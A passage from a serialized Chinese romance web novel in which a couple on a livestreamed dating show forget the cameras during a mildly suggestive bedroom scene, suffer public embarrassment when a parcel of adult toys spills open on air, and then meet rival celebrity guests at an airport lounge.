“总是在怀疑我对你的感情,所以……”她的唇又落在他的喉结处轻咬了下,毫不收敛的带着几分意色的缓缓开口:“所以……我在欺负你。” 盛景炎呼吸更乱了。 他有些急促的喘息,甚少有被许愿逼到这种地步的时候。 “你想欺负的话,我当然任你欺负。”盛景炎的双手顺着许愿的脊背上移,缓缓插入她的发间,很轻柔的抚摸,这种时刻这样的动作,就像是情人彼此之间的爱抚。 许愿顿了下,向下拽着他的衣领,他被迫的低着头看他。 这种时刻,很像那种完全忠心的大狗狗。 其实许愿在心里一直都是狼塑,狐狸塑,但是真的没想过会狗塑盛景炎。 可是他此刻这样有点懵的眼神真的很像小狗……啊不,大狗。 虽然狗塑自己的爱人有点奇奇怪怪,但是真的很可爱,可爱到许愿凑过去亲了一口,这么突然的亲了下盛景炎又有点愣了,她这一下确实太突然了,完全没反应过来。 盛景炎才要回应,许愿就已经移开,又去拽他衣领了。 盛景炎:“……” 盛景炎是真的有些无奈。 “阿愿。” “你先别说话,我在思考,刚才到哪一步了。” 盛景炎:“……” 他懵,许愿也懵。 许愿想了一下,其实也没怎么想起来,直接把人拉拽到床上就扑过去,这种时候盛景炎从来都不忍的,至于外面的直播谁还管? 她也确实把直播忘了,凑过去又去咬他喉结。 男人这里总是很敏感的,被她这样亲吻挑逗的喉结不由得浮动。 “又欺负我。”盛景炎闷声一声,双手更用力的钳制住许愿,滚烫的掌心隔着衣物紧贴着许愿的肌肤,他甚至不想隔着衣物,想透过衣物去直接触碰她。 “那你愿不愿意给我欺负。”许愿捧住他的脸看他,眼尾上挑的像是狐狸。 说什么欺负不欺负的,其实就是他们之间的情趣。 盛景炎感受到许愿的亲吻逐渐移到耳垂,呼吸间都带着温热,让他觉得自己浑身鸡皮疙瘩好像都快起来了。 他觉得自己此刻几乎被许愿撩拨的浑身发烫,呼吸愈发急促,喉间溢出压抑的喘息:“阿愿……别逗我了……”他说话间手臂肌肉紧绷,他穿的白色的衬衫,这时候太明显了。 “我不要,平常都是你这个姿势,换一下发现还挺有意思的。”许愿有点得意。 盛景炎不由轻笑:“这个姿势……你不是经常这个姿势吗,只不过最近才换成我在上你在下……” 说到这个,话题就有点偏向深夜频道了。 是的,盛景炎断腿的时候确实都是许愿在上。 但许愿可没有这样欺负过人的。 她又在拽他衣领:“你不许说了。” 她有点凶。 只是她觉得凶,但盛景炎眼中就像是奶呼呼的小猫在生气踩奶,这也就是盛景炎会这样看许愿,外面的人没人会将许愿看成猫,猫科可以,但绝不会是奶猫。 “好,我不说了。”他又开始变乖了,许愿有点满意。 “你还没有回答我的问题,给不给我欺负啊。”她似乎是真的很在意盛景炎此刻的回答。 “我不给你欺负你就不欺负了?阿愿,你可不是多听话的人。”起码在他这里就不听话。 许愿想瞪他了。 “不行,我要听你亲口回答,不许敷衍我故意转移话题。” 这时候甚至是任性的。 没办法,她跟盛景炎之间太亲密了,亲密到许愿就是会控制不住的开始幼稚,在别人面前她不会这样。 “也只有你能这样欺负我。”盛景炎握住她的手放到唇边亲了亲:“你想欺负的话,怎样都行。” 他甚至还打开床头柜取出了一条黑色的丝带,看着还是代蕾丝花边的,甚至当着许愿的面主动蒙上了眼睛,显得愈发脆弱,那双桃花眼被蒙住,只露出高挺的鼻梁和薄唇,可盛景炎实在好看,这样遮住眼睛添了几分脆弱感,有点像是漫画中那种有点浪荡劲儿的美少年。 许愿:“……” 哪有人主动教别人怎么欺负自己的?还主动上道具? 不对? 盛景炎什么时候准备了黑色丝带的?她怎么不知道这件事?他准备多久了? 这东西最初根本不是给他自己准备的吧! 第826章 我想要更多 许愿一百个不信这是盛景炎准备给他自己的,这东西分明是盛景炎想用在她身上的! “你真是……”许愿抬手,纤长的手指抚过那条黑丝带,声音很轻很缓:“真的好坏啊,阿炎。” 说话间,她已经解开他的扣子,从他的唇一点点向下亲吻着,能感受到盛景炎的喘息,腰腹甚至都跟着剧烈起伏,他似乎是没有被这样对待过,整个人都有些无措的样子。 她看不到盛景炎此刻的眼神,却能看到他的手抓紧了床单,甚至有些用力到指骨泛白,手背的青筋都若隐若现。 她可不信盛景炎是被自己欺负的“欲罢不能”,这完全就是克制着不来压住自己欺负回来。 他还挺能忍。 许愿长指划过他的耳垂,很轻的触碰就能感受到他的腰腹又动了下。 这时候突然就体会到女强的乐趣了,也就盛景炎能随着她胡作非为。 “阿愿……”他声音沙哑:“你会对失控的我负责的,对吗。” 他这样的嗓音,哪怕是眼睛被蒙住,许愿也能猜得到那双桃花眼中的欲望大抵是已经压不住了。 “那你要搞清楚现在是谁欺负谁,不许乱来。”许愿说着俯身在她耳边轻咬了下。 盛景炎似乎是真的觉得有些憋屈,许愿看了却像小狗委屈。 她很想来一句你哼唧一声,但她没这么说,嗯,也有点怕真把人惹的克制不住了反制住她。 盛景炎这人吧,床下永远都是完美无缺的好伴侣好情人,许愿说什么是什么那种,但某些时刻盛景炎就跟叼住猎物的猛兽一般,绝不松口。 盛景炎似乎还在跟自己作斗争的克制,只是没有克制多久,摘掉眼上的黑丝丝带,抬眼就对上许愿那双含笑的眼。 果然像许愿想的那样,他那双桃花眼里面的火焰和渴望完全压制不住仿佛此刻就要完全将她吞噬。 他猛地翻身将许愿压在身下,姿势完全反过来。 他撑起身体,用漆黑的瞳眸深深凝视许愿,呼吸依旧急促,胸膛剧烈起伏。 “阿愿……” 他这一声确实有点撑不住的缱绻。 “我想要更多,不只是被欺负。” 说到这里,他眼神微暗,完全不压制自己此刻的欲望,之间顺着她的脸颊话落,一点一点轻轻移动然后停在她的唇瓣上,很轻的摩挲。 “你该知道的,我一直都是主动型的肉食系,而不是被动型的食草系。”话落,他的指尖仍然摩挲着许愿的唇瓣,声音带着压抑:“你这样,我真的会失控。” 他俯下身,用鼻尖轻轻蹭着许愿的鼻尖。 许愿望着他,觉得他此刻的动作……好像更像小狗了。 这次没有等到许愿的回应,盛景炎已经吻上去,呼吸再度与许愿交织在一起,这次的吻仍然炽热缠绵,许愿本就是身体敏感的类型,眼尾渐渐红了。 盛景炎动作微顿,用之间拭去她印情动而溢出的生理性的泪水,然后轻吻她的眼睛,诱哄道:“好乖。” 之前明明被说不乖的人是盛景炎,但此刻被说好乖的却换成了许愿。 他学着许愿放在的动作,之间在她的耳垂一点点游移向下轻抚着。 …… 因为猫咪电视台和猫咪TV那边出了问题导致直播间崩了,工作人员加紧时间修复直播间,好在大概十几分钟修复扩容后直播间再次开启。 一号林悠羽和宋明远的直播间正常,两人在接受采访。 二号周鹤瑾周媛媛的直播间正常,不过女方似乎还没有回来,是周鹤瑾在陪崽崽。 三号沈从和杜佳阮的直播间两人在一起撸猫,因为沈从养了一只蓝猫。 但四号直播间。 嗯……嗯? 现在虽然不是处于黑屏状态了,但是直播间镜头是对着房间门的。 甚至直播间表示盛景炎和许愿因为工作方面的事情不方便直播,所以需要直播间的观众朋友稍等下。 直播间网友。 嗯? 工作,那你要说说谈什么工作了! 这下子给他们好奇心都勾起来了。 这绝对不是什么正经工作啊!绝对不是! 就算只是对着门板,网友们也能继续看直播,甚至评论区弹幕区一直刷评论,全都在等什么时候正常直播。 “嘿嘿嘿,退一万步讲,这工作液不是正经工作。” “大概多少亿的单子吧……懂得都懂。” “天王老子来了那也是洞房!那也是DO!没看到我们许总说那句话后就被盛总带走了吗!这种时候他们谁的手机也没响!哪儿来的工作啊!那妥妥的去亲亲了!他祖父的,我也想看啊!能不能学学啊,我也要看这种剧情的剧啊!好带感啊,因为那句情话就猛亲什么的呜呜呜。” “好可怜,抱住可怜的自己,她们在亲亲恩爱,而我在跟直播间里面的狗狗们汪汪汪。” “?” “?” “骂谁狗呢?我有男朋友!” “呦呦呦你有男朋友,看把你厉害的,可恶不是我没有是我不想有你记住,但凡外面站这个盛总这样的我扑过去就是亲!” “醒醒,大白天的做什么梦呢,盛总这样的外面绝种了,也不是说一定要这种相貌这种身价的,单纯因为盛总这种恋爱脑笨蛋的已经绝种了,我们盛总的三观就直接杀死地球百分之八十的男性了,这还是说少了。” “日,我来看甜甜的恋综,别跟我讲这大实话,只要我不谈恋爱,我的虚拟男朋友就是盛总这种的!(叉腰!)” “我已经在计时了嘿嘿,我倒要看看许总和盛总他们什么时候舍得出来!” 本来以为评论区乌烟瘴气要被骂的导播和摄影师都沉默了。 是她们不太了解现在的观众了吗,太离谱了! 导播唇角狠抽了下,旁边助理惊呼了一声,导播赶紧看过去,助理凑过来小声:“姐,上热搜了!又上热搜了! ” 导播:“……” 行,她这次是真的知道了许愿和盛景炎到底又多火了,这俩人是真有点东西就上热搜啊! 不过嗯……这热搜看着多少是带了点颜色的,还是黄色的。 第827章 许愿盛景炎直播间在干什么 #许愿盛景炎直播间在干什么# #许愿直播间拍门# #许愿直播间谈合作# #管的黑的白的我说了就是黄的# 这是新上来的热搜词条,导播看了都是两眼一黑的程度。 不过……嗯,反正盛总和许总都是未婚夫妻了,想来也不在意这些热搜吧。 导播倒是没点开热搜词条,完全不知道热搜词条有多闹腾。 {嘤嘤嘤,天王老子来了也是DO!给我DO!我不敢想许总和盛总这两张权威的脸凑到一起生出来的孩子要有多漂亮啊!不管像爸爸还是像妈妈那都是极致漂亮啊啊啊!} {几个亿的小项目,我盛总大概会很开心嘿嘿。} {结婚结婚结婚!我把民政局搬来!其他人可以不结婚但这俩我真的要催婚!不结婚绝对没办法收场!} {我真的很想他俩生出个盛世美颜然后让孩子进娱乐圈来造福大众。} {我在许总和盛总床底,我知道他们在亲亲~} {有没有太太!我想看他们的文,求!想知道他们在房间干什么!} {我算算时间,三胎要出来了,其他人生三胎我万分抵制,他俩生我就摩拳擦掌想看小漂亮。} {求文求文,有没有太太写他俩!} 有了许愿和盛景炎热搜倒是上的很容易,毕竟真的太多人关注许愿了。 这么大阵仗,网瘾男士段星河怎么可能不知道? 他算完一串数据交给助理去验证,就见手机上推了点有意思的,结果一看,发现是许愿和盛景炎的。 他心寻思就没什么好事,点开看看,霍,果然没什么好事,这两个人知不知道这是直播啊,一举一动都被人放大解读的!他们再不出来网友们都要说生十胎了!像话吗! 盛景炎发疯许愿也由着他发疯。 行,这俩都是疯子。 可他看不下去了啊! 段星河忍无可忍的给许愿打了通电话过去。 …… 房间内气氛暧昧且火热,许愿抬手捂住自己的眼睛,衬衣已经被解开露出白皙的肌肤,能感受到盛景炎喷洒在肌肤上的呼吸,抬眸就能对上他充满欲望的眼眸。 他的指尖触碰到她温热的肌肤,只是稍稍用力就能留下红痕。 彼此的呼吸越来越乱仿佛交织在一起。 倏地手机响起来。 盛景炎不想管,想关机,许愿也由着他,结果盛景炎看到来电的人是段星河。 他明显也怕真的耽误了许愿的事情,所以将手机递交到许愿手中。 “段星河的电话。” 说这话的时候盛景炎带着点委屈,似乎是觉得段星河占有了自己的时间。 “他真不懂事。”许愿跟着他吐槽段星河。 说是吐槽结果还是接听了段星河的电话,然后许愿就听到段星河的语气有点古怪。 “你跟盛景炎在一起?”段星河问。 “你在说什么废话?” “那你还记不记得你们现在在做什么。”段星河又问。 做什么?这种亲密的事情是可以说的吗? “你少管。”许愿怼他。 段星河被气笑了:“我不管,行,你知道你跟盛景炎这会儿公司粉丝都觉得你俩生三个了!” 许愿:“?” 盛景炎:“……” 盛景炎甚至想了下回应:“那不行,阿愿会疼,我们可以不要孩子,让盛家绝后也可以。” 段星河:“……” 是不是关注点不太对啊祖宗们! 现在段星河是真的想喊祖宗们了。 段星河:“我求求你们两个了,你们还记不记得自己是在直播啊,直播啊!盛景炎你就这么拽着许愿回房间了!现在你俩直播间就对着你们的门在拍!弹幕和营销号都在到处搬运,你们亲密一下全国观众都看着呢!你们再不开门十胎都要出来了!” “人可以上热搜可以出名……但至少不应该是这种啊两位祖宗!社死啊!社死啊!” “就这会儿功夫都已经有人在计算你们时长推测你们都做了什么了!你现在出去早了是你不行!出去晚了……你们今晚就可以在某些网站看到你们的同人了。” 段星河也是很懂的。 许愿瞬间沉默了。 盛景炎也沉默了。 他们两个确实是忘记了在直播。 啊,有些过于离谱了吧,怎么就忘记在直播了。 许愿几乎是倒抽了口凉气有些无措的看向盛景炎,她是知道那些粉丝写起东西来有多猛的。 盛景炎直接搂住许愿的肩膀,默了片刻开口:“那不然不要出去了,关乎到……自尊问题。” “现在出去是不是太早了?”盛景炎开口。 对的,他还挺在意有人说自己不行的。 段星河:“……” 又有病了是不是? “大可不必!你忘了江惊蛰的爷爷给你看过身体,人说你一个顶十几个,谁虚你也不可能虚!”这事儿段星河都知道了,这会儿就冲他嚷嚷。 那盛景炎不担心了。 结果一低头就对上许愿幽幽的目光,嗯,刚才他没控制住把许愿的衬衣……撕了。 是的,又撕了。 主要是许愿这件衣服是限定款,她也还有其他绿色的衬衣,但都不是这个版型的,一换衣服外面的人肯定都能看出来。 这就更让人误会了。 衣服都换了,在房间里不是在亲热还能做什么? 盛景炎轻咳一声:“阿愿我给你挑一件新的衬衣,这件蓝色的怎么样。” “丑。” “黄色的?” “丑。” “红色的?” “我裙子是绿色的你给我搭这个红色的?” 反正现在盛景炎说什么许愿都会来一句丑。 盛景炎自己也有些理亏,许愿哼了一声挂了段星河的电话,因为他听见段星河调侃他们撕衣服的事情了。 许愿自己重新挑了一套最经典的白衬衣和黑色长裙,比之前面那套的清丽,这身更添优雅。 见她还在生气,盛景炎抱住她,语气里面带着几分委屈和诱哄。 “只是你一直在欺负我,我没有控制住,你也知道我多喜欢你,看到你那样难免会失控的,不生气好不好。” 许愿心道,现在不是狗狗了,又变成撩拨人的狐狸了。 偏生她就是吃这套,可恶,真是被盛景炎吃的死死的。 第828章 社会性尴尬死亡事件 “你是不是在撒娇了。”许愿转过身看着面前的爱人,他真的像是眉眼耷拉下来,又像狐狸又像狗的,姜栖晚没忍住想到了“狐狸狗”虽然没有听说过这个物种,但是就很想设计一款这类小玩偶送给盛景炎。 让他知道他平日里什么样子。 盛景炎抱住她,在她肩头蹭了蹭,此刻像是整个人身上的重量都压在她身上了,有点像是故意的。 “你好重啊盛景炎,快别压我了。”许愿无奈:“我没生气,我就是觉得有些丢脸……” “我们只是在房间内吃了点心不小心弄脏了衣服才换了衣服,只要我们不尴尬,尴尬的就是那些人。”盛景炎不要脸皮的开口。 许愿:“……” 行,那也没别的办法了,确实只能这样了。 许愿打开门,摄像师已经等好久了,见她出来镜头也有了她的身影。 直播间里的粉丝立刻呼朋唤友来看直播。 许总和盛总终于出来了! 等等! 不对。 他们进去之前穿的不是这件衣服啊,许总的衣服怎么变成黑白配了? 直播间先是沉默,然后是井喷式的增长。 “绝对是DO了!不然不可能换衣服!绝对是衣服没办法看了!” “我观盛总的长相,盛总是那种会扯衣服的人,别是扣子被扯坏了吧。” “你别说,你还真别说,盛总确实有那味儿啊!” “一直在计时,一个半小时,也行吧,盛总大概是来了两次?” “?” “你们到底在干嘛啊!救命啊我们再看直播啊不是在搞黄啊!” “我们在说盛总撒娇两次{微笑}” “呵呵,你们最好是!” 弹幕评论区说什么的都有,导播唇角跟着抽了又抽。 那人竟然还真的跟着一直计时了啊。 “两位谈完了?”导播没忍住多看了两眼两人的衣服。 许愿点头微笑:“对,我们在谈接下来的一些工作相关的事,因为盛世那边的负责人临时接到的一些安排有些没弄清楚所以交代的时间花费的多了些。” 导播:“……” 这话谁会信啊许总,你自己信吗? 明明是被盛景炎拽进去的好吗。 但许愿就是特别淡定脸上还带着点淡淡的笑,盛景炎跟在她身后一副许愿说什么都对的模样。 两人就这么转移话题,惹得导播觉得该不会真的是在谈合作吧,此刻真是被带跑偏了。 盛景炎让许愿坐下休息,自己继续收拾行李,趁着这个时间给许愿洗了草莓分给工作人员,不过只给了许愿几颗草莓,他是知道许愿吃不了多少,她也就吃几颗就不会吃了,一直如此。 许愿眉眼弯弯的吃草莓,门铃被摁响了。 导播助理透过猫眼看了下来人,是快递员。 “许总,是快递员来送快递的,我帮您把快递拿进来?” 许愿道了谢。 倒是快递员开口说:“不好意思,因为箱子在运输途中变形,封口胶带也开了点,所以需要您这边验一下货物签收。” 这就需要本人去签收了。 盛景炎在整理行李,自然是许愿去了。 许愿点点头,这快递不是她买的,她不清楚是什么,不过猜着应该是盛景炎给他买的限量款玩偶到了。 “许总方便让我们拍一下吗?”摄影师问。 那当然没问题,玩偶而已。 “许总里面装的是什么,我看您好像很开心?”导播跟着问。 许愿笑意愈发深了:“是阿炎给我买的娃娃,你们不是看过我的玩偶房间了吗,又要迎来新成员啦,就是我最喜欢一部动漫的限量款娃娃,你们应该猜到喽。” 不过娃娃这么大吗,需要这么大的箱子来装。 箱子几乎等人高,也可能是一堆娃娃。 摄影师的镜头也跟过去打算拍快递箱子,弹幕评论区还在羡慕许愿抢到了娃娃。 结果下一秒,快递员抱着箱子进了房间,箱子损毁的太严重了,还有点重,快递员才把箱子抱进来,结果就听“彭”的一声,箱子下面的封口胶带开了,箱子内的东西噼里啪啦全都掉出来了。 听声音,不像是娃娃。 摄影师的镜头已经跟着拍过去。 然后大家就看到了各种情趣方面的玩具。 手铐、项圈、带花纹的猫耳发箍…… 那瞬间,场内众人感觉眼睛都黑了。 摄影师手一抖,摄像机差点砸到地上。 现场众人眨眨眼睛,克制着呼吸,但克制不住啊,很想去看许愿此刻的脸色。 快递员整个人都已经呆若木鸡。 这种快递都是秘密运输的,就为了注重隐私,但现在就因为他操作不当让人出大丑了,完啦,好评没有了!不投诉都是好的啊! 快递员也跟着裂开了。 许愿脸上的笑意已经有些僵了,因为这样的突发事件,她淡定的弯腰去捡,快递员觉得自己是罪魁祸首,心虚道:“许总,您先验验货签个字?” 说完这话快递员就想给自己一巴掌。 这货怎么验啊! 工作人员沉默的看着眼前的一幕,导播和导播助理更是承受不住的抬手捂住自己的眼睛。 此刻,千言万语全都汇聚成一个字“艹”。 事情发生的真的太突然了,甚至快递员还等着许愿“验货”。 导播心想,如果我是许愿,死了的心都有了。 什么是社会性死亡,这就是社会性死亡。 哈,验货,验什么货? 验手铐结不结实?验玩具好不好用,验猫耳朵的铃铛响不响……哈……死了吧。 导播低头就能看到滚落到自己脚边的是毛茸茸的蓬松的猫尾巴,看着像是布偶猫的,她忍不住吞咽了下口水,然后捡起来。 “许总?” 导播尴尬的递过去。 许愿:“……” 许愿脸上还带着微笑,僵硬的接过猫尾巴然后丢到沙发上。 “摄影老师,可以不拍地上的东西了吗,我们这里风景还是很不错的,不然拍一拍楼下的风景好了。”许愿微笑。 摄影老师:“……” 对不住,一时没反应过来。 摄影师干笑两声赶紧将镜头一转,结果就拍到许愿脸上明明看着温和但就是感觉带着点冷的笑意。 第829章 你们没有夜生活吗 摄影老师不知道怎么的就觉得有一种完蛋了的错觉。 直播间的人都傻了,全部都傻掉了。 啊? 啊!! 那是什么!谁能告诉他们那是什么!地上的那些是什么! “救命,代入许总我要窒息了,完全呼吸不上来。” “我敢保证不是许总买的,不然许总不会这么茫然完全不知道这一茬,绝对是盛总买的!救命啊盛总买的丢脸的事许总……许总我支持你把盛总拽进房间打一顿!” “什么是社会性死亡,这才是真的社会性死亡,我要是许愿我人都傻了。” “我看许总已经傻了,从没见过许总这么僵硬的表情。” “所以两位私下里玩的这么开的吗,盛总好福气啊,也就许总由着他胡闹。” “猫尾巴嘿嘿,猫尾巴嘿嘿,盛总能推个链接吗,感觉质量很好的样子。” “东西质量看着是很好,但是包装……嗯,你也想社会性死亡的话那请便。毕竟你的快递很有可能在中途就丢的七七八八了,最后收到东西后少了很多,你去投诉快递,快递问你买了什么丢了什么去中转站给你找,你说说你好意思说自己买的这些吗……以前就是快递客服,买小雨伞的那群人投诉都不敢说自己买了什么,买这个,你敢说吗……” “我靠窒息了!” “那还只是一部分看到,许总这个,我看看直播间观众……破千万了……还有营销号已经在搬运了,我靠,已经上热搜了,浏览量一直疯狂上涨,许总,对不住,我恋爱你了。” “许总,打盛总一顿吧好吗?” “盛总有什么坏心思呢,盛总只是想让所有人都知道他们多恩爱罢了,盛总想要盛总得到!” 弹幕评论区还在疯狂刷着,许愿就站在原地,腰很直,看着完全不在意发生的一切,手上拿着项圈就像拿着文件那样正经。 她越正经,现场的工作人员和快递员就越尴尬。 地上堆满了各类玩具,其实完全暴露是什么的不算多,其它的小盒子和袋子装的满好的没有漏出来,但盒子上却写了什么宠物玩具这类的。 如果没有这一茬,他们估计会信了这是宠物玩具,但是…… 嗯,那绝对不是宠物玩具了。 导播实在是想采访下许愿,为什么能这么淡定,为什么还能笑,换她都想撞墙了。 就在此时,快递员尴尬的开口:“许总,您能不投诉吗……” 许愿捏了捏眉心。 “不是你的问题,我不会投诉,是我这里……家门不幸。”许愿深吸一口气。 快递员就是不希望被投诉,许愿毕竟是公众人物,他见许愿开口说了也不担心了,赶紧溜了。 所有人都看着许愿现在这么淡定,只有许愿清楚,自己现在真的很想教训某人。 “许总,那还继续直播吗?”导播轻咳了一声问道。 许愿微笑:“播,为什么不播呢,不是什么大事。” “这些都是很稀松平常的东西,你们没有夜生活的吗?为什么这样大惊小怪的。”许愿用平稳的带笑的语气说了这话,但听着像是想杀人。 导播唇角抽了抽没忍住回了句:“有是有,就是没这么……野……” 许愿继续微笑:“那你真的少了很多乐趣。” 导播:“……” 对不起许总,一时嘴快乐,你快别笑了啊! 许愿见她没再说话,喊道:“盛景炎,你的东西到了!” 直播间全部都在哈哈哈,等着盛景炎看到这些东西的反应。 盛景炎已经收拾好行李提着行李箱出来,还当许愿有什么事叫自己,结果一出来就看到客厅的地上滚满了……各式各样的玩具。 嗯。 这东西是今天送到吗。 盛景炎僵硬的站在原地,摄影师看热闹不嫌事大的去拍盛景炎。 盛景炎沉默片刻:“这是温栩栩买的,因为她人再国外不方便签收所以写了我们的地址,我会给她留言的。” 许愿面色平静:“原来是栩栩买的?那要早点给栩栩寄过去。” 两人一唱一和,锅就给了温栩栩和黎云笙。 摄影师:“……” 导播:“……” 你们要不要听听自己在说什么啊,温栩栩在国外干嘛买这东西到这里,买到国外不好吗! 道理他俩当然懂,就是装,秉持着我不尴尬就是你们尴尬的原则。 弹幕疯狂刷屏“这事儿温栩栩知道吗!” 因为一份快递,又又又上了热搜。 #家门不幸盛景炎# #你们没有夜生活吗# #论直播收到情趣玩具有多尴尬# #背锅侠温栩栩# 一直观察节目的宋玥导演哭笑不得,但节目越火热她越高兴,要不是不会抽烟,这会儿高低要来一根了。 收拾好东西,几组都需要一起做节目组的车去机场。 下楼的时候摄影师就远远拍到许愿走一步踩盛景炎一脚,明显在泄愤。 盛景炎由着她踩,有些笑眯眯的凑近握住她的手哄着,黏人的很。 其它三组其实早就到了,毕竟他们中途没有发生什么意外停播一个半小时之久。 第一组林悠羽和宋明远夫妻二人坐在VIP休息厅,这里的VIP厅是有特定的休息房间的,也有不少餐点饭菜全都是为VIP们提供的。 林悠羽和宋明远两人虽然紧挨着坐着,但看着却好像并没有多亲近,宋明远的心思都在工作上。 他一直没有看网络,他猜着自己肯定是这档节目最大的资本,到时候所有人都要捧着自己。 宋明远就喜欢这种众星捧月的感觉,只是想想就觉得高兴可乐。 他没注意到身边妻子看他时的眼神都带着几分厌烦。 第三组沈从和杜佳阮比第二组周鹤瑾周媛媛到的早,到了特定的休息室就见到宋明远和林悠羽,赶紧上前来恭敬礼貌的打招呼称前辈。 沈从是刚火起来的流量,肯定要仰仗资本,杜佳阮虽然童星出道但因为相貌一般所以也需要求着资源,两人此刻都很有礼貌。 沈从是点到为止那种,不会一直恭维让人觉得虚伪,但杜佳阮却像攀上宋明远背后的资本所以一直捧着宋明远。 第830章 我是你的粉丝 杜佳阮知道宋明远最喜欢别人夸他帅气,夸他有男人味儿,就一种从这方面夸奖,宋明远果然得意了,跟杜佳阮交换了微信。 两组都交流很久了周鹤瑾和周媛媛才来,周媛媛在直播间有点工作需要处理,周鹤瑾收拾好行李后一直在等周媛媛所以才拖延了。 两人来了后沈从主动打了招呼,笑着喊了瑾哥,媛媛姐,还帮两人提行李。 因为沈从比周鹤瑾小大概八岁,跟周鹤瑾有过合作,在他的剧里面演一个小配角,周鹤瑾很照顾他,所以沈从看到周鹤瑾很开心。 宋明远面上的笑意却不真挚,因为宋明远讨厌周鹤瑾。 他们两人都出演过同一个武侠角色,宋明远的那一版比周鹤瑾的早七八年,两人扮演的武侠角色专情却俊美,是很多人心中的古装天花板的无暇角色。 但宋明远出演后很多人都说他油腻、丑,根本不会让女角色一见倾心,他出演了这部剧被喷的狗血淋头。 周鹤瑾拍的是新版,周鹤瑾的面容周正精致,又剑眉星目的,且武打戏都是自己直接上,那部武侠剧播出后无数人都将宋明远那一版拉出来剪成对比视频嘲讽宋明远是古装丑男装帅,一个人毁了整部剧,然后夸周鹤瑾才最适合这个角色,从相貌到演技再到打戏全都碾压了宋明远。 这也导致宋明远厌恶周鹤瑾,在圈子里没少给他使绊子。 沈从不知道这些弯弯绕绕,还是杜佳阮猜到宋明远不喜欢周鹤瑾,所以只是礼貌的打了下招呼没有多亲近。 宋明远是资本,周鹤瑾只是个口碑好的男演员,在她这里绝对比不过宋明远的。 宋明远倒是主动站起来跟周鹤瑾打了招呼,面上谁也看不出他厌恶周鹤瑾。 “听说最近很多人都在猜你和媛媛婚变了,真的假的?”宋明远打了招呼故意问了句:“毕竟无风不起浪啊。” 看着像是在开玩笑,但这话说出来就像是在引战。 周鹤瑾看他一眼,不咸不淡道:“听说宋老师跟林老师夫妻情缘快断了,是真的假的?最近很多人都在说,宋老师澄清一下?毕竟没有空穴来风的事不是吗。” 宋明远脸色瞬间就冷了。 他是前辈,周鹤瑾是一点面子不给了。 早就听人说周鹤瑾是个难以压制的刺儿头,看来还真是如此。 直播间都已经吵起来了。 “周鹤瑾冷着一张脸干什么?什么意思啊!宋老师就是开个玩笑他就生气了?” “周鹤瑾一直都是这臭脾气。” “周鹤瑾对着镜头总是冷脸,跟谁欠了他钱一样。” “宋老师跟周鹤瑾一起参加节目真是实惨!” “??” “楼上那些人有病吗!眼睛瞎掉了就去看!” “真给爷气笑了,这明显就是宋明远先找茬的,直接当你面说你爸妈感情不和要离婚了你受得了?带着笑说就不是阴阳怪气故意找茬了?周鹤瑾回的有什么问题?不是宋明远先犯贱的?” “先撩者贱,宋明远贱人一个。” “其实也可以理解宋明远故意找茬的原因,毕竟两人都演过一个角色,宋明远当初被喷惨了,而周鹤瑾凭着那个剧出圈了,宋明远能不嫉妒能不恨吗,他就是故意的。” 评论区都在讨论宋明远和周鹤瑾的事,吵什么的都有,也有带节奏的浑水摸鱼的。 宋明远还在跟周鹤瑾对峙,倏地休息室的门又被推开了。 是第四组的人到了。 宋明远重新坐到椅子上,他可不信节目组能请来比他还大咖位的人。 宋明远冷着脸坐到椅子上,然后听到一声惊呼。 是沈从在惊呼。 “许总盛总!” 宋明远心说沈从多半是有病,他们什么节目啊能把许总盛总请来,开玩笑也不是这么开的。 宋明远根本不信。 结果杜佳阮也激动的喊着:“真的是许总和盛总啊!” 杜佳阮都这样喊了……总不能真的是许愿和盛景炎吧,还是节目组在玩套路?飞行嘉宾?或者客串的? 宋明远赶紧抬头,就这个距离就能看到许愿那张过于漂亮明艳的面容,漂亮到他觉得仿佛天地都要失色,只有她在的地方才能有其他色彩。 见了许愿才知道自己的妻子好像……不过如此。 宋明远眼神有些过于火热,正要站起身去跟许愿打招呼,结果就见许愿走到周鹤瑾面前,盛景炎就跟在她身后。 “周老师久仰啊,我是你的粉丝。” 许愿这话一出,在场的人都惊呆了。 特别是宋明远,人都傻了,此刻大脑宕机有些不敢相信自己听到的。 许愿说她是周鹤瑾的粉丝。 许愿的含金量只要是华国人都清楚的,可她现在面对镜头说是周鹤瑾的粉丝……宋明远倒吸了一口凉气,都能猜得到今天之后圈子里多少人要捧着周鹤瑾,怕是资源都要随着他挑了。 特别是许愿背后还有上面的人,上面会不会因为许愿喜欢特意给周鹤瑾一些正剧和电影的本子? 宋明远嫉妒的眼睛都是红的,周鹤瑾却礼貌的笑了笑:“谢谢许总的喜欢。” “能给签个名吗?” 许愿说着已经取出了准备好的周鹤瑾曾经的剧照。 是周鹤瑾饰演的秦王还有那部武侠角色的剧照。 周鹤瑾的助理赶紧递上专门用来签字的笔,助理控制不住的去看许愿,心里直呼自己老板好厉害,连许总都是他粉丝,绝了! 周鹤瑾给许愿签了名,许愿还没拿到照片盛景炎就已经抢过去。 “我怎么不知道你还有男偶像呢?”盛景炎仔细打量剧照,虽然在吃醋,但是不得不承认周鹤瑾确实有一张好相貌,而且这张脸很适合古装,有点天选古人的感觉。 许愿挑眉看他:“你现在最好不要惹我,我火气还没消下去。” 盛景炎瞬间就老实了。 是的,情趣玩具那一茬还没过去呢,他还是老实一会儿。 盛景炎老实了,许愿才看向周鹤瑾开口道:“周老师接下来有接其它剧吗?” 第831章 许愿曾经小号叫许鹤瑾 周媛媛看着这一幕凑到周鹤瑾身边眉眼弯弯的全都是笑意。 “阿瑾,你怎么没说过还跟许总认识呢。” 周媛媛当然是漂亮的,只不过比周鹤瑾大了几岁,但保养的很好,她的眼睛是那种带着笑的眼睛,嘴唇也是微笑唇,看着是很清纯恨和善的类型,湾湾那边的艺人说话都是有点嗲,周媛媛说话也确实有点可爱。 周鹤瑾身体僵硬了一瞬,但没有推开她,只是声音有点淡:“我跟许总并不认识,这是第一次见面。” 许愿面上的笑意并未敛去,只是看着两人的互动,总有种周鹤瑾在躲着周媛媛的错觉。 许愿说喜欢周鹤瑾是真的,不过并不是狂热粉丝。 十年前周鹤瑾二十四岁,许愿只有十几岁,她很少看剧和电影,那时候一直忙着看书学习,但周鹤瑾那部《帝谋》上映后因为太火爆多次被刷到,许愿好奇只是看了眼电视剧的封面海报就被周鹤瑾那双漂亮却深情的眼神勾住。 许愿打小就是颜控,难得有让她觉得长得这么好的男演员便看了剧,许愿这么多年唯一刷了很多遍的电视剧就是周鹤瑾的《帝谋》。 